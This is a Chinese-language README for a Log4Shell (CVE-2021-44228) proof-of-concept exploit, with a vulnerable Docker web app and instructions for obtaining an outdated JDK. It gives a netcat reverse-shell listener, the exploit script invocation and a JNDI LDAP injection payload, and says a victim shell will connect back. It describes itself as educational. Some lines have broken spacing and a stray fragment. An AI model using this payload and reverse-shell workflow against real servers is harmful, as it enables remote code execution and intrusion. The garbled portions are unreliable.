log4j shell poc
1.0.0
最近發現的 CVE-2021-44228 漏洞的概念驗證。
最近,log4j 出現了一個新漏洞,log4j 是一個 Java 日誌庫,廣泛應用於 Elasticsearch、Minecraft 等眾多應用程式中。
在此儲存庫中,有一個範例易受攻擊的應用程式及其概念驗證(POC)利用。
作為 PoC,有一個 python 檔案可以自動執行該過程。
pip install -r requirements.txt
nc - lvnp 9001
jdk1.8.0_20
,並且位於同一目錄中。 $ python3 poc . py - - userip localhost - - webport 8000 - - lport 9001
[!] CVE : CVE - 2021 - 44228
[!] Github repo : https : // github . com / kozmer / log4j - shell - poc
[ + ] Exploit java class created success
[ + ] Setting up fake LDAP server
[ + ] Send me : ${ jndi : ldap : // localhost : 1389 / a }
Listening on 0.0 . 0.0 : 1389
該腳本將為您設定 HTTP 伺服器和 LDAP 伺服器,並且還將建立可用於貼上到易受攻擊的參數中的有效負載。之後,如果一切順利,您應該在 lport 上獲得一個 shell。
有一個包含易受攻擊的 webapp 的 Dockerfile。您可以按照以下步驟使用它:
1 : docker build - t log4j - shell - poc .
2 : docker run -- network host log4j - shell - poc
運行後,您可以在 localhost:8080 上存取它
值得慶幸的是,Oracle 提供了所有先前的 java 版本的存檔:
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html。
向下捲動到8u20
並下載適合您的作業系統和硬體的檔案。
注意:您需要建立帳戶才能下載該軟體包。
下載並解壓縮存檔後,您可以在jdk1.8.0_20/bin
中找到java
和一些相關的二進位。
注意:請確保將 jdk 資料夾提取到此存儲庫中並具有相同的名稱,以便其正常工作。
❯ tar -xf jdk-8u20-linux-x64.tar.gz
❯ ./jdk1.8.0_20/bin/java -version
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)
此儲存庫並非設計用於對 CVE-2021-44228 進行一鍵式利用。這個專案的目的是幫助人們了解這個漏洞,也許還可以測試他們自己的應用程式(但有更好的應用程式用於此目的,ei:https://log4shell.tools/)。